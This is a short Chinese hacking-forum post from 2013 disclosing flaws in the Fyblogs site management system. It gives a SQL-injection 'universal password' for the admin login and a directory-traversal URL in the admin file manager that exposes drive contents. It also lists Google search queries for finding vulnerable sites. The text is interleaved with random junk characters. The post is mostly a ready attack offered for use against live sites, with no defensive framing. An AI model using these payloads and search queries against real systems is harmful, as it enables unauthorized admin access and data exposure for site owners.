找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2171|回复: 0
打印 上一主题 下一主题

Fyblogs网站管理系统漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-14 20:17:32 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
后台万能密码 'or'='or'6 a3 L! s! |5 n& J, v

+ x0 @# X. z3 F! y  E4 d. ~后台文件管理存在绕过。导致浏览所在盘符信息。信息泄露!& h  N* {1 V# ^* t; [2 u
admin/uploadfile.asp?currentFolder=/upfiles/../
$ _7 N: W% ~* X# \( x9 W* X+ G2 o; ^9 h4 i, Y4 w
漏洞证明:
2 [% O2 h$ b8 Z4 K7 r, S; T) A5 s, h9 @1 \
谷歌:inurl:type.asp?id=1 新闻中心0 @5 z) m0 p4 R2 I. t/ D
或者 :inurl:download_ok.asp?
+ @) }, o/ q; F$ d9 e! H- l7 B
: P& ?( j" K% f
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表